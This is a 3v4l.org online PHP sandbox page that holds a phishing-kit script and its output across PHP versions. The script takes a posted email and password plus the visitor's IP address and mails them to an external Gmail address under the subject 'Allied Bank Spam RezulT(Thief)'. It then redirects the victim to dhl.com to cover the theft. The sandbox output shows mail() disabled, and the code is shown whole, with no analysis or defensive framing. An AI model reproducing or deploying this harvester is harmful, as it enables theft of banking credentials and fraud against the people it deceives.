3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------Ali Spam ReZulT-----------------------\n"; $message .= "USERNAME : ".$_POST['email']."\n"; $message .= "Password : ".$_POST['pass']."\n"; $message .= "IP: ".$ip."\n"; $message .= "---------------Created By DAN------------------------------\n"; $recipient = "bar.marym@gmail.com"; $subject = "wang"; $headers = "From"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; mail("", "Allied Bank Spam RezulT(Thief)", $message); if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.dhl.com"); } else { echo "ERROR! Please go back and try again."; } ?>
Output for 5.4.0 - 7.3.1
Notice: Undefined variable: message in /in/ni0l6 on line 4 Notice: Undefined index: email in /in/ni0l6 on line 5 Notice: Undefined index: pass in /in/ni0l6 on line 6 Notice: Undefined index: eMailAdd in /in/ni0l6 on line 13 Warning: mail() has been disabled for security reasons in /in/ni0l6 on line 15 Warning: mail() has been disabled for security reasons in /in/ni0l6 on line 16 ERROR! Please go back and try again.
Output for 4.3.0 - 5.3.29
<? $ip = getenv("REMOTE_ADDR"); $message .= "--------------Ali Spam ReZulT-----------------------\n"; $message .= "USERNAME : ".$_POST['email']."\n"; $message .= "Password : ".$_POST['pass']."\n"; $message .= "IP: ".$ip."\n"; $message .= "---------------Created By DAN------------------------------\n"; $recipient = "bar.marym@gmail.com"; $subject = "wang"; $headers = "From"; $headers .= $_POST['eMailAdd']."\n"; $headers .= "MIME-Version: 1.0\n"; mail("", "Allied Bank Spam RezulT(Thief)", $message); if (mail($recipient,$subject,$message,$headers)) { header("Location: http://www.dhl.com"); } else { echo "ERROR! Please go back and try again."; } ?>